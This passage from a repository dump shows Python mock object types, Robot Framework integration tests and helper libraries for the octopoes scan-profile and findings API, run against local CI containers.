hostname: Reference = ReferenceField(MockHostname, max_issue_scan_level=0, max_inherit_scan_level=4)\n    address: Reference = ReferenceField(MockIPAddress, max_issue_scan_level=4, max_inherit_scan_level=0)\n\n    _natural_key_attrs = [\"hostname\", \"address\"]\n    _reverse_relation_names = {\"hostname\": \"resolved_hostnames\", \"address\": \"resolved_hostnames\"}\n\n\nclass MockDNSCNAMERecord(OOI):\n    object_type: Literal[\"MockDNSCNAMERecord\"] = \"MockDNSCNAMERecord\"\n\n    hostname: Reference = ReferenceField(MockHostname)\n    value: str\n    target_hostname: Reference = ReferenceField(MockHostname)\n\n    _natural_key_attrs = [\"hostname\", \"value\"]\n    _reverse_relation_names = {\"hostname\": \"dns_cname_records\", \"target_hostname\": \"dns_cname_record_targets\"}\n\n\nclass MockLabel(OOI):\n    object_type: Literal[\"MockLabel\"] = \"MockLabel\"\n\n    ooi: Reference = ReferenceField(OOI)\n    label_id: str\n    label_text: str | None = None\n\n    @property\n    def natural_key(self) -> str:\n        return f\"{self.ooi}|{self.label_id}\"\n\n    _reverse_relation_names = {\"ooi\": \"labels\"}\n\n\nALL_OOI_TYPES = {\n    OOI,\n    MockNetwork,\n    MockIPAddress,\n    MockIPAddressV4,\n    MockIPAddressV6,\n    MockIPPort,\n    MockHostname,\n    MockDNSZone,\n    MockResolvedHostname,\n    MockDNSCNAMERecord,\n    MockLabel,\n}\n\nMockOOIType = (\n    MockNetwork\n    | MockIPAddressV4\n    | MockIPAddressV6\n    | MockIPPort\n    | MockHostname\n    | MockDNSZone\n    | MockResolvedHostname\n    | MockDNSCNAMERecord\n    | MockLabel\n)\n\nall_dynamic_types = set(get_all_types(OOI))\ncombined_types = all_dynamic_types.union(ALL_OOI_TYPES)\n\nOOITYPE_BY_NAME: dict[str, type[OOI]] = {t.__name__: t for t in combined_types}\n\n\ndef get_concrete_types() -> set[type[OOI]]:\n    concrete_types: set[type[OOI]] = {t for t in ALL_OOI_TYPES if not t.strict_subclasses()}\n    return concrete_types\n\n\nCONCRETE_OOITYPE_BY_NAME = {t.__name__: t for t in get_concrete_types()}\n\nfor ooi_type in ALL_OOI_TYPES:\n    ooi_type.model_rebuild()\n"
  },
  {
    "path": "octopoes/tests/mocks/mock_ooi_types_abstract.py",
    "content": "from typing import Literal\n\nfrom octopoes.models import OOI, Reference\nfrom octopoes.models.persistence import ReferenceField\n\n\nclass A(OOI):\n    object_type: Literal[\"A\"] = \"A\"\n    id: str\n    _natural_key_attrs = [\"idname\"]\n\n\nclass B(OOI):\n    object_type: Literal[\"B\"] = \"B\"\n    a_ref: Reference = ReferenceField(A, max_issue_scan_level=1)\n    id: str\n    _natural_key_attrs = [\"name\"]\n"
  },
  {
    "path": "octopoes/tests/robot/01_scan_profiles.robot",
    "content": "*** Settings ***\nLibrary             OperatingSystem\nLibrary             RequestsLibrary\nLibrary             DateTime\nLibrary             String\nResource            robot.resource\n\nTest Setup          Setup Test\nTest Teardown       Teardown Test\n\n\n*** Test Cases ***\nInheritance Of Two Declared Scan Profiles\n    Await Sync\n    Declare Scan Profile    ${REF_HOSTNAME}    ${4}\n    Declare Scan Profile    ${REF_IPADDR}    ${2}\n    Await Sync\n    Recalculate Scan Profiles\n    Verify Scan Level    ${REF_HOSTNAME}    ${4}\n    Verify Scan Level    ${REF_IPADDR}    ${2}\n    Verify Scan Level    ${REF_RESOLVEDHOSTNAME}    ${4}\n    Verify Scan LeveL Filter    1    ${0}\n    Verify Scan LeveL Filter    2    ${2}\n    Verify Scan LeveL Filter    3    ${0}\n    Verify Scan LeveL Filter    4    ${3}\n    Verify Scan LeveL Filter    0    ${9}\n    Verify Scan LeveL Filter    ${{ [2,4] }}    ${5}\n    Verify Scan LeveL Filter    ${{ [3,4] }}    ${3}\n    Verify Scan LeveL Filter    ${{ [2,0] }}    ${11}\n    Verify Scan Profile Mutation Queue    ${REF_HOSTNAME}    ${{[0, 4]}}\n    Verify Scan Profile Mutation Queue    ${REF_IPADDR}    ${{[0, 2]}}\n    Verify Scan Profile Mutation Queue    ${REF_RESOLVEDHOSTNAME}    ${{[0, 4]}}\n    Total Object Count Should Be    14\n\nRecalculate Inheritance After Modification\n    Declare Scan Profile    ${REF_HOSTNAME}    ${4}\n    Declare Scan Profile    ${REF_IPADDR}    ${2}\n    Await Sync\n    Recalculate Scan Profiles\n    Set Scan Profile To Empty    ${REF_HOSTNAME}\n    Recalculate Scan Profiles\n    Verify Scan Level    ${REF_HOSTNAME}    ${0}\n    Verify Scan Level    ${REF_IPADDR}    ${2}\n    Verify Scan Level    ${REF_RESOLVEDHOSTNAME}    ${0}\n    Verify Scan Profile Mutation Queue    ${REF_HOSTNAME}    ${{[0, 4, 0]}}\n    Verify Scan Profile Mutation Queue    ${REF_IPADDR}    ${{[0, 2]}}\n    Verify Scan Profile Mutation Queue    ${REF_RESOLVEDHOSTNAME}    ${{[0, 4, 0]}}\n\nEmpty Scan Profiles\n    Recalculate Scan Profiles\n    Verify Scan Level    ${REF_HOSTNAME}    ${0}\n    Verify Scan Level    ${REF_IPADDR}    ${0}\n    Verify Scan Level    ${REF_RESOLVEDHOSTNAME}    ${0}\n    Verify Scan Profile Mutation Queue    ${REF_HOSTNAME}    ${{[0]}}\n    Verify Scan Profile Mutation Queue    ${REF_IPADDR}    ${{[0]}}\n    Verify Scan Profile Mutation Queue    ${REF_RESOLVEDHOSTNAME}    ${{[0]}}\n\n\n*** Keywords ***\nSetup Test\n    robot.Setup Test\n    Insert Normalizer Output\n    Await Sync\n\nSet Scan Profile To Empty\n    [Arguments]    ${reference}\n    ${validtime}    Get Valid Time Params\n    ${sync}      Get Sync Params\n    ${params}    Create Dictionary    &{validtime}    &{sync}\n    ${data}    Create Dictionary    reference=${reference}    scan_profile_type=empty\n    ${response}    Put\n    ...    ${OCTOPOES_URI}/scan_profiles\n    ...    json=${data}\n    ...    params=${params}\n    Should Be Equal As Integers    ${response.status_code}    200\n\nVerify Scan Level\n    [Arguments]    ${reference}    ${scan_level}\n    ${params}    Create Dictionary\n    ...    reference=${reference}\n    ...    valid_time=${VALID_TIME}\n    ${response}    Get    ${OCTOPOES_URI}/object    params=${params}\n    Should Be Equal As Integers    ${response.status_code}    200\n    Should Be Equal    ${response.headers[\"content-type\"]}    application/json\n    ${response_data}    Set Variable    ${response.json()}\n    Should Be Equal    ${response_data[\"primary_key\"]}    ${reference}\n    Should Be Equal As Integers\n    ...    ${response_data[\"scan_profile\"][\"level\"]}\n    ...    ${scan_level}\n    ...    Scan Level of ${reference} should be ${scan_level} in the database\n\nVerify Scan Level Filter\n    [Arguments]    ${scan_level}    ${expected_count}\n    ${params}    Create Dictionary\n    ...    scan_level=${scan_level}\n    ...    valid_time=${VALID_TIME}\n    ${response}    Get    ${OCTOPOES_URI}/objects    params=${params}\n    Should Be Equal As Integers    ${response.status_code}    200\n    ${response_data}    Set Variable    ${response.json()}\n    Should Be Equal As Integers\n    ...    ${response_data[\"count\"]}\n    ...    ${expected_count}\n    ...    Scan Level Filter should return ${expected_count} objects for scan level ${scan_level}\n    Length Should Be    ${response_data[\"items\"]}    ${expected_count}\n\nVerify Scan Profile Mutation Queue\n    [Arguments]    ${reference}    ${scan_levels}\n    ${messages}    Get Messages From Queue    ${SCAN_PROFILE_MUTATION_QUEUE}    ack_requeue_true\n    FOR    ${message}    IN    @{messages}\n        ${payload}    Evaluate    json.loads(\"\"\"${message[\"payload\"]}\"\"\")    json\n        IF    \"${payload['primary_key']}\" == \"${reference}\"\n            ${expected_scan_level}    Remove From List    ${scan_levels}    0\n\n            Should Be Equal As Integers\n            ...    ${payload[\"value\"][\"scan_profile\"][\"level\"]}\n            ...    ${expected_scan_level}\n            ...    Scan Level of ${reference} should be ${expected_scan_level} in the mutation queue\n            @{reference_parts}    Split String    ${reference}    |\n            Should Be Equal    ${payload[\"value\"][\"object_type\"]}    ${reference_parts}[0]\n\n            IF    ${scan_levels} == []    RETURN\n        END\n    END\n    Fail    Scan Level of ${reference} should be mutated to ${scan_levels}[0]\n"
  },
  {
    "path": "octopoes/tests/robot/02_list_objects.robot",
    "content": "*** Settings ***\nResource            robot.resource\n\nTest Setup          Setup Test\nTest Teardown       Teardown Test\n\n\n*** Test Cases ***\nList Objects\n    Insert Normalizer Output\n    Await Sync\n    Object List Should Contain    ${REF_HOSTNAME}\n    Total Object Count Should Be    ${6}\n\nList Objects With Filter\n    Insert Normalizer Output\n    Await Sync\n    Verify Object List With Filter\n\nList Objects With SearchString\n    Insert Normalizer Output\n    Await Sync\n    Verify Object List With SearchString\n\nList Random Objects With Filter\n    Insert Normalizer Output\n    Await Sync\n    Declare Scan Profile    ${REF_HOSTNAME}    ${1}\n    Await Sync\n    Recalculate Scan Profiles\n    Await Sync\n    Length Of Random Object List With Filter Should Be    ${1}    ${5}\n    Length Of Random Object List With Filter Should Be    ${0}    ${9}\n    Length Of Random Object List With Filter Should Be    ${{ [1,0] }}    ${10}\n    Length Of Random Object List With Filter Should Be    ${{ [2,3] }}    ${0}\n\nLoad Bulk\n    Insert Normalizer Output\n    Await Sync\n    ${references}    Create List    ${REF_HOSTNAME}    ${REF_IPADDR}    ${REF_RESOLVEDHOSTNAME}\n    Verify Bulk Load    ${references}\n\n\n*** Keywords ***\nVerify Object List With Filter\n    ${response_data}    Get Objects With ScanLevel 0\n    Should Be Equal    ${response_data[\"count\"]}    ${6}\n\nGet Objects With ScanLevel 0\n    ${params}    Create Dictionary    scan_level=0    valid_time=${VALID_TIME}\n    ${response}    Get    ${OCTOPOES_URI}/objects    params=${params}\n    ${response_data}    Set Variable    ${response.json()}\n    Should Be Equal As Integers    ${response.status_code}    200\n    RETURN    ${response_data}\n\nVerify Object List With SearchString\n    ${response_data}    Get Objects With SearchString example.com\n    Should Be Equal    ${response_data[\"count\"]}    ${4}\n\nGet Objects With SearchString example.com\n    ${params}    Create Dictionary    search_string=example.com    valid_time=${VALID_TIME}\n    ${response}    Get    ${OCTOPOES_URI}/objects    params=${params}\n    ${response_data}    Set Variable    ${response.json()}\n    Should Be Equal As Integers    ${response.status_code}    200\n    RETURN    ${response_data}\n\nLength Of Random Object List With Filter Should Be\n    [Arguments]    ${scan_levels}    ${expected_length}\n    ${params}    Create Dictionary    scan_level=${scan_levels}    amount=10    valid_time=${VALID_TIME}\n    ${response}    Get    ${OCTOPOES_URI}/objects/random    params=${params}\n    Should Be Equal As Integers    ${response.status_code}    200\n    Length Should Be    ${response.json()}    ${expected_length}\n\nVerify Bulk Load\n    [Arguments]    ${references}\n    ${params}    Create Dictionary    valid_time=${VALID_TIME}\n    ${response}    Post    ${OCTOPOES_URI}/objects/load_bulk    json=@{references}    params=${params}\n    Log    ${response.json()}\n    Should Be Equal As Integers    ${response.status_code}    200\n    FOR    ${reference}    IN    @{references}\n        Dictionary Should Contain Key    ${response.json()}    ${reference}\n    END\n"
  },
  {
    "path": "octopoes/tests/robot/03_deletion_propagation.robot",
    "content": "*** Settings ***\nResource            robot.resource\n\nTest Setup          Setup Test\nTest Teardown       Teardown Test\n# *** Test Cases ***\n# Propagate Deletion\n#    Insert Empty Normalizer Output\n#    Await Sync\n#    This test fails because of circular origins proving eachother's existence\n#    Object List Should Be Empty\n\n\n*** Keywords ***\nObject List Should Be Empty\n    ${response_data}    Get Objects\n    Should Be Equal    ${response_data[\"count\"]}    ${0}\n"
  },
  {
    "path": "octopoes/tests/robot/04_save_declaration.robot",
    "content": "*** Settings ***\nResource            robot.resource\n\nTest Setup          Setup Test\nTest Teardown       Teardown Test\n\n\n*** Test Cases ***\nAdd Several Append Origins\n    Insert Calvin Outputs\n    Verify Object Present    Hostname|internet|calvinnormalizer.com\n    Verify Origin Present    Hostname|internet|calvinnormalizer.com    824cfb63-1a46-4446-9941-d36e9550bee5\n\n    Verify Object Present    Hostname|internet|calvinnormalizer.org\n    Verify Origin Present    Hostname|internet|calvinnormalizer.org    9bcc478d-00a2-4cae-976b-c7f4beea0375\n\n    Insert Regular Declarations\n\n\n*** Keywords ***\nVerify Origin Present\n    [Arguments]    ${reference}    ${origin_task_id}\n    ${params}    Create Dictionary    result=${reference}    valid_time=${VALID_TIME}\n    ${response}    Get    ${OCTOPOES_URI}/origins    params=${params}\n    Should Be Equal As Integers    ${response.status_code}    200\n    ${length}    Get Length    ${response.json()}\n    Should Be Equal As Integers    ${length}    1\n    Should Be Equal    ${response.json()[0][\"task_id\"]}    ${origin_task_id}\n"
  },
  {
    "path": "octopoes/tests/robot/05_bits.robot",
    "content": "*** Settings ***\nResource            robot.resource\nLibrary             OperatingSystem\nLibrary             BuiltIn\n\nTest Setup          Setup Test\nTest Teardown       Teardown Test\n\n\n*** Test Cases ***\nBit With Scan Level 1\n    Insert Observation    tests/fixtures/normalizer_output_nxdomain.json\n    Object List Should Not Contain    KATFindingType|KAT-NXDOMAIN\n    Object List Should Not Contain    Finding|Hostname|internet|example.com|KAT-NXDOMAIN\n    Declare Scan Profile    Hostname|internet|example.com    1\n    Await Sync\n    Wait Until Keyword Succeeds    60s    1s    Object List Should Contain    KATFindingType|KAT-NXDOMAIN\n    Wait Until Keyword Succeeds\n    ...    60s\n    ...    1s\n    ...    Object List Should Contain\n    ...    Finding|Hostname|internet|example.com|KAT-NXDOMAIN\n    Declare Scan Profile    Hostname|internet|example.com    0\n    Await Sync\n    Wait Until Keyword Succeeds\n    ...    60s\n    ...    1s\n    ...    Object List Should Not Contain\n    ...    Finding|Hostname|internet|example.com|KAT-NXDOMAIN\n"
  },
  {
    "path": "octopoes/tests/robot/06_scan_profile_inheritance.robot",
    "content": "*** Settings ***\nResource            robot.resource\n\nTest Setup          Setup Test\nTest Teardown       Teardown Test\n\n\n*** Test Cases ***\nSimple Scan Profile Inheritance\n    Declare Scan Profile    ${REF_HOSTNAME}    ${4}\n    ${response_data}    Get Scan Profile Inheritance    ${REF_IPADDR}\n    Length Should Be    ${response_data}    3\n    Should Be Equal As Strings    ${response_data[1][\"reference\"]}    ${REF_RESOLVEDHOSTNAME}\n\n\n*** Keywords ***\nSetup Test\n    robot.Setup Test\n    Insert Normalizer Output\n    Await Sync\n\nGet Scan Profile Inheritance\n    [Arguments]    ${reference}\n    ${params}    Create Dictionary    reference=${reference}    valid_time=${VALID_TIME}\n    ${response}    Get    ${OCTOPOES_URI}/scan_profiles/inheritance    params=${params}\n    Should Be Equal As Integers    ${response.status_code}    200\n    ${response_data}    Set Variable    ${response.json()}\n    RETURN    ${response_data}\n"
  },
  {
    "path": "octopoes/tests/robot/07_bit_configs.robot",
    "content": "*** Settings ***\nResource            robot.resource\n\nTest Setup          Setup Test\nTest Teardown       Teardown Test\n\n\n*** Variables ***\n${REF_HSTS_FINDING}     Finding|HTTPHeader|internet|1.1.1.1|tcp|80|http|internet|example.com|http|internet|example.com|80|/|strict-transport-security|KAT-HSTS-VULNERABILITIES\n\n\n*** Test Cases ***\nHSTS Header With Config\n    Insert Observation    tests/fixtures/normalizer_output_http.json\n    Await Sync\n    Insert Observation    tests/fixtures/normalizer_output_config.json\n    Await Sync\n    Declare Scan Profile    ${REF_HOSTNAME}    ${4}\n    Await Sync\n    Recalculate Scan Profiles\n    Verify Object Present    ${REF_HSTS_FINDING}\n\nHSTS Header Without Config\n    Insert Observation    tests/fixtures/normalizer_output_http.json\n    Await Sync\n    Declare Scan Profile    ${REF_HOSTNAME}    ${4}\n    Await Sync\n    Recalculate Scan Profiles\n    Verify Object Not Present    ${REF_HSTS_FINDING}\n"
  },
  {
    "path": "octopoes/tests/robot/07_rerun_bits.robot",
    "content": "*** Settings ***\nResource            robot.resource\nLibrary             OperatingSystem\nLibrary             BuiltIn\n\nTest Setup          Setup Test\nTest Teardown       Teardown Test\n\n\n*** Test Cases ***\nRerun bits\n    Insert Observation    tests/fixtures/normalizer_output.json\n    Await Sync\n\n    # check that only two origins exist, one observation, and one inference\n    Verify Origin Present    Hostname|internet|example.com    2    ${VALID_TIME}\n\n    # add the new bit to the bits folder and restart containers\n    ${container_id_worker}    Run    docker ps -aqf 'name=octopoes-ci_octopoes_api_worker'\n    Log    ${container_id_worker}\n    Run    docker cp .ci/mock_bits/url_classification_mock ${container_id_worker}:app/octopoes/bits\n    Run    docker restart ${container_id_worker}\n\n    ${container_id_api}    Run\n    ...    docker ps -aq --filter \"name=octopoes-ci_octopoes\" | grep -v $(docker ps -aq --filter \"name=octopoes-ci_octopoes_api_worker\") | awk '{print $1}'\n    Log    ${container_id_api}\n    Run    docker cp .ci/mock_bits/url_classification_mock ${container_id_api}:app/octopoes/bits\n    Run    docker restart ${container_id_api}\n\n    # wait until containers started up\n    Sleep    3s\n\n    # make sure that new origin still does not exist\n    Await Sync\n    Verify Origin Present    Hostname|internet|example.com    2    ${VALID_TIME}\n\n    ${params}    Create Dictionary    valid_time=${VALID_TIME}\n    ${response}    Post    ${OCTOPOES_URI}/bits/recalculate    params=${params}\n    Await Sync\n    ${date}    Get Current Date    time_zone=UTC\n    Verify Origin Present    Hostname|internet|example.com    3    ${date}+00:00\n\n\n*** Keywords ***\nVerify Origin Present\n    [Arguments]    ${reference}    ${expected_amout_of_origins}    ${valid_time_argument}\n    ${params}    Create Dictionary    result=${reference}    valid_time=${valid_time_argument}\n    ${response}    Get    ${OCTOPOES_URI}/origins    params=${params}\n    Should Be Equal As Integers    ${response.status_code}    200\n    ${length}    Get Length    ${response.json()}\n    Should Be Equal As Integers    ${length}    ${expected_amout_of_origins}\n"
  },
  {
    "path": "octopoes/tests/robot/08_findings.robot",
    "content": "*** Settings ***\nLibrary             OperatingSystem\nLibrary             RequestsLibrary\nLibrary             DateTime\nLibrary             String\nResource            robot.resource\n\nTest Setup          Setup Test\nTest Teardown       Teardown Test\n\n\n*** Test Cases ***\nList Findings\n    Insert Observation    tests/fixtures/normalizer_output_nxdomain.json\n    Sleep    1s\n    Declare Scan Profile    Hostname|internet|example.com    1\n    Await Sync\n\n    Finding List Should Have Length    1\n    Finding Count Per Severity Should Be    'pending'    1\n    Finding Count Per Severity Should Be    'low'    0\n    Finding Count Per Severity Should Be    'critical'    0\n\n\n*** Keywords ***\nSetup Test\n    robot.Setup Test\n    Insert Normalizer Output\n    ${params}    Create Dictionary    valid_time=${VALID_TIME}\n    ${response}    Post    ${OCTOPOES_URI}/bits/recalculate    params=${params}\n    Await Sync\n\nList Findings\n    ${params}    Create Dictionary    valid_time=${VALID_TIME}\n    ${response}    Get    ${OCTOPOES_URI}/findings    params=${params}\n    ${response_data}    Set Variable    ${response.json()}\n    RETURN    ${response_data}\n\nGet Count Per Severity\n    ${params}    Create Dictionary    valid_time=${VALID_TIME}\n    ${response}    Get    ${OCTOPOES_URI}/findings/count_by_severity    params=${params}\n    ${response_data}    Set Variable    ${response.json()}\n    RETURN    ${response_data}\n\nFinding List Should Have Length\n    [Arguments]    ${expected_length}\n    ${findings}    List Findings\n    Should Be Equal As Integers\n    ...    ${findings['count']}\n    ...    ${expected_length}\n    ...    Expected count of finding list was not as expected\n    Length Should Be\n    ...    ${findings['items']}\n    ...    ${expected_length}\n    ...    Expected length of finding list was not as expected\n\nFinding Count Per Severity Should Be\n    [Arguments]    ${severity}    ${expected_counts}\n    ${counts}    Get Count Per Severity\n    Should Be Equal As Integers\n    ...    ${counts[${severity}]}\n    ...    ${expected_counts}\n    ...    Expected count of finding count per severity was not as expected\n"
  },
  {
    "path": "octopoes/tests/robot/CeleryMonitor.py",
    "content": "import threading\nfrom collections import Counter\nfrom operator import itemgetter\n\nfrom celery import Celery\nfrom robot.api import logger\n\napps = {}\n\n\ndef get_app(queue_uri: str) -> Celery:\n    config = {\n        \"broker_url\": queue_uri,\n        \"result_backend\": f\"rpc://{queue_uri}\",\n        \"task_serializer\": \"json\",\n        \"result_serializer\": \"json\",\n        \"event_serializer\": \"json\",\n        \"accept_content\": [\"application/json\", \"application/x-python-serialize\"],\n        \"result_accept_content\": [\"application/json\", \"application/x-python-serialize\"],\n        \"task_queues\": (\"octopoes\",),\n    }\n    if queue_uri not in apps:\n        apps[queue_uri] = Celery()\n        apps[queue_uri].config_from_object(config)\n    return apps[queue_uri]\n\n\nclass Monitor:\n    def __init__(self, queue_uri: str):\n        self._app = get_app(queue_uri)\n        self._thread = threading.Thread(target=self._monitor_events, args=(self._app,), daemon=True)\n        self._tasks = {}\n        self._receiver = None\n        self._started = threading.Event()\n\n    @property\n    def tasks(self):\n        return self._tasks\n\n    def start(self):\n        self._thread.start()\n\n    def stop(self):\n        self._started.wait()\n        self._receiver.should_stop = True\n\n    def _on_event(self, event):\n        self._tasks[event[\"uuid\"]] = event\n\n    def _monitor_events(self, celery_app: Celery) -> None:\n        logger.info(\"Monitoring events\")\n        with celery_app.connection(connect_timeout=2) as connection:\n            logger.info(f\"Connection made: {connection.connected}\")\n\n            self._receiver = celery_app.events.Receiver(\n                connection,\n                handlers={\n                    \"task-sent\": self._on_event,\n                    \"task-received\": self._on_event,\n                    \"task-started\": self._on_event,\n                    \"task-succeeded\": self._on_event,\n                    \"task-failed\": self._on_event,\n                    \"task-rejected\": self._on_event,\n                    \"task-revoked\": self._on_event,\n                    \"task-retired\": self._on_event,\n                },\n            )\n            self._started.set()\n            self._receiver.capture(limit=None, timeout=None, wakeup=True)\n\n    def sum_per_type(self) -> Counter:\n        return Counter(map(itemgetter(\"type\"), self.tasks.values()))\n\n\nclass CeleryMonitor:\n    ROBOT_LIBRARY_SCOPE = \"TEST\"\n\n    def __init__(self):\n        self._monitor: Monitor = None\n\n    def start_monitoring(self, queue_uri: str):\n        self._monitor = Monitor(queue_uri)\n        self._monitor.start()\n        logger.info(\"Started monitoring\")\n\n    def stop_monitoring(self):\n        self._monitor.stop()\n\n    def count_tasks(self, event_type: str) -> int:\n        event_type = \"task-\" + event_type.lower()\n\n        sum_per_type = self._monitor.sum_per_type()\n        logger.info(f\"Sum tasks per type: {sum_per_type}\")\n\n        if event_type not in sum_per_type:\n            return 0\n        return self._monitor.sum_per_type()[event_type]\n\n    def remove_tasks(self, event_type: str) -> int:\n        event_type = \"task-\" + event_type.lower()\n\n        tasks = list(filter(lambda v: v[\"type\"] == event_type, self._monitor.tasks.values()))\n        for task in tasks:\n            del self._monitor.tasks[task]\n\n        return len(tasks)\n"
  },
  {
    "path": "octopoes/tests/robot/__init__.py",
    "content": ""
  },
  {
    "path": "octopoes/tests/robot/robot.resource",
    "content": "*** Settings ***\nLibrary     OperatingSystem\nLibrary     RequestsLibrary\nLibrary     DateTime\nLibrary     Collections\nLibrary     CeleryMonitor.py\n\n\n*** Variables ***\n${REF_HOSTNAME}                     Hostname|internet|example.com\n${REF_IPADDR}                       IPAddressV4|internet|1.1.1.1\n${REF_RESOLVEDHOSTNAME}             ResolvedHostname|internet|example.com|internet|1.1.1.1\n\n${OCTOPOES_URI}                     http://localhost:29000/_dev\n${XTDB_URI}                         http://localhost:29002/_xtdb/_dev\n${QUEUE_URI}                        amqp://ci_user:ci_pass@localhost:29004/kat\n${RABBIT_MQ_API_URI}                http://ci_user:ci_pass@localhost:29003/api\n${VALID_TIME}                       2022-01-01T00:00:00+00:00\n\n${SCAN_PROFILE_MUTATION_QUEUE}      scan_profile_mutations\n\n\n*** Keywords ***\nDeclare Scan Profile\n    [Arguments]    ${reference}    ${scan_level}\n    ${params}    Get Valid Time Params\n    ${data}    Create Dictionary    reference=${reference}    level=${scan_level}    scan_profile_type=declared\n    ${response}    Put\n    ...    ${OCTOPOES_URI}/scan_profiles\n    ...    json=${data}\n    ...    params=${params}\n    Should Be Equal As Integers    ${response.status_code}    200\n\nInsert Observation\n    [Arguments]    ${origin_file}\n    ${norm_output_json}    Get File    ${origin_file}\n    ${norm_output_dict}    Evaluate    json.loads('''${norm_output_json}''')    json\n    ${response}    Post    ${OCTOPOES_URI}/observations    json=${norm_output_dict}\n    Should Be Equal As Integers    ${response.status_code}    200\n\nInsert Declaration\n    [Arguments]    ${origin_file}\n    ${norm_output_json}    Get File    ${origin_file}\n    ${norm_output_dict}    Evaluate    json.loads('''${norm_output_json}''')    json\n    ${response}    Post    ${OCTOPOES_URI}/declarations    json=${norm_output_dict}\n    Should Be Equal As Integers    ${response.status_code}    200\n\nInsert Normalizer Output\n    Insert Observation    tests/fixtures/normalizer_output.json\n\nInsert Empty Normalizer Output\n    Insert Observation    tests/fixtures/normalizer_output_empty.json\n\nInsert Calvin Outputs\n    Insert Declaration    tests/fixtures/calvin_output_1.json\n    Insert Declaration    tests/fixtures/calvin_output_2.json\n\n    Await Sync\n\nInsert Regular Declarations\n    Insert Declaration    tests/fixtures/regular_manual_declaration.json\n    Insert Declaration    tests/fixtures/regular_manual_declaration_with_null_values.json\n\n    Await Sync\n\nGet Messages From Queue\n    [Arguments]    ${queue}    ${ackmode}\n    &{data}    Create dictionary    count=10000    ackmode=${ackmode}    encoding=auto    truncate=50000\n    ${response}    Post    ${RABBIT_MQ_API_URI}/queues/kat/${queue}/get    json=${data}\n    RETURN    ${response.json()}\n\nWait For XTDB Synced\n    ${response}    Get    ${XTDB_URI}/sync\n\nGet All Document Ids\n    ${query}    Set Variable    {:query {:find [?e] :where [[?e :xt/id]]}}\n    ${headers}    Create Dictionary    Content-Type=application/end    Accept=application/json\n    ${response}    Post    ${XTDB_URI}/query    data=${query}    headers=${headers}\n    ${rows}    Set Variable    ${response.json()}\n    ${ids}    Create List\n    FOR    ${cols}    IN    @{rows}\n        Append To List    ${ids}    ${cols[0]}\n    END\n    RETURN    ${ids}\n\nClear XTDB\n    ${ids}    Get All Document Ids\n    ${operations}    Create List\n    FOR    ${id}    IN    @{ids}\n        ${operation}    Create List    evict    ${id}    ${VALID_TIME}\n        Append To List    ${operations}    ${operation}\n    END\n    ${transaction}    Create Dictionary    tx-ops=${operations}\n    ${headers}    Create Dictionary    Content-Type=application/json    Accept=application/json\n    ${response}    Post    ${XTDB_URI}/submit-tx    json=${transaction}    headers=${headers}\n    Wait For XTDB Synced\n\nSetup Test\n    Create XTDB node\n    Start Monitoring    ${QUEUE_URI}\n\nTeardown Test\n    Delete XTDB node\n    Get Messages From Queue    octopoes    ack_requeue_false\n    Get Messages From Queue    ${SCAN_PROFILE_MUTATION_QUEUE}    ack_requeue_false\n    Stop Monitoring\n\nAwait Sync\n    Sleep    300ms\n    Await Tasks Done\n    Wait For XTDB Synced\n\nGet Objects\n    ${params}    Get Valid Time Params\n    ${response}    Get    ${OCTOPOES_URI}/objects    params=${params}\n    Should Be Equal As Integers    ${response.status_code}    200\n    Should Be Equal    ${response.headers[\"content-type\"]}    application/json\n    ${response_data}    Set Variable    ${response.json()}\n    RETURN    ${response_data}\n\nGet Valid Time Params\n    ${valid_time_params}    Create Dictionary    valid_time=${VALID_TIME}\n    RETURN    ${valid_time_params}\n\nGet Sync Params\n    ${sync_params}    Create Dictionary    sync=true\n    RETURN    ${sync_params}\n\nAwait Tasks Done\n    Wait Until Keyword Succeeds    1 min    200ms    Task Type Empty    SENT\n    Wait Until Keyword Succeeds    1 min    200ms    Task Type Empty    RECEIVED\n    Wait Until Keyword Succeeds    1 min    200ms    Task Type Empty    STARTED\n\nTask Type Empty\n    [Arguments]    ${task_type}\n    ${count}    Count Tasks    ${task_type}\n    Should Be Equal As Integers    ${count}    0\n\nObject List Should Contain\n    [Arguments]    ${reference}\n    ${response_data}    Get Objects\n    ${pks}    Evaluate    [item[\"primary_key\"] for item in ${response_data[\"items\"]}]\n    Should Contain    ${pks}    ${reference}    ${reference} not found in object list\n\nObject List Should Not Contain\n    [Arguments]    ${reference}\n    ${response_data}    Get Objects\n    ${pks}    Evaluate    [item[\"primary_key\"] for item in ${response_data[\"items\"]}]\n    Should Not Contain    ${pks}    ${reference}    ${reference} found in object list\n\nTotal Object Count Should Be\n    [Arguments]    ${length}\n    ${response_data}    Get Objects\n    Should Be Equal As Integers    ${response_data[\"count\"]}    ${length}    Object count should be ${length}\n\nRecalculate Scan Profiles\n    ${params}    Get Valid Time Params\n    ${response}    Get\n    ...    ${OCTOPOES_URI}/scan_profiles/recalculate\n    ...    params=${params}\n    Should Be Equal As Integers    ${response.status_code}    200\n    Await Sync\n\nVerify Object Present\n    [Arguments]    ${reference}\n    ${params}    Create Dictionary\n    ...    reference=${reference}\n    ...    valid_time=${VALID_TIME}\n    ${response}    Get    ${OCTOPOES_URI}/object    params=${params}\n    Should Be Equal As Integers    ${response.status_code}    200\n\nVerify Object Not Present\n    [Arguments]    ${reference}\n    ${params}    Create Dictionary\n    ...    reference=${reference}\n    ...    valid_time=${VALID_TIME}\n    ${response}    Get    ${OCTOPOES_URI}/object    params=${params}    expected_status=404\n\nCreate XTDB node\n    ${response}    Post    ${OCTOPOES_URI}/node\n    Should Be Equal As Integers    ${response.status_code}    200\n\nDelete XTDB node\n    ${response}    Delete    ${OCTOPOES_URI}/node\n    Should Be Equal As Integers    ${response.status_code}    200\n"
  },
  {
    "path": "octopoes/tests/test_api.py",
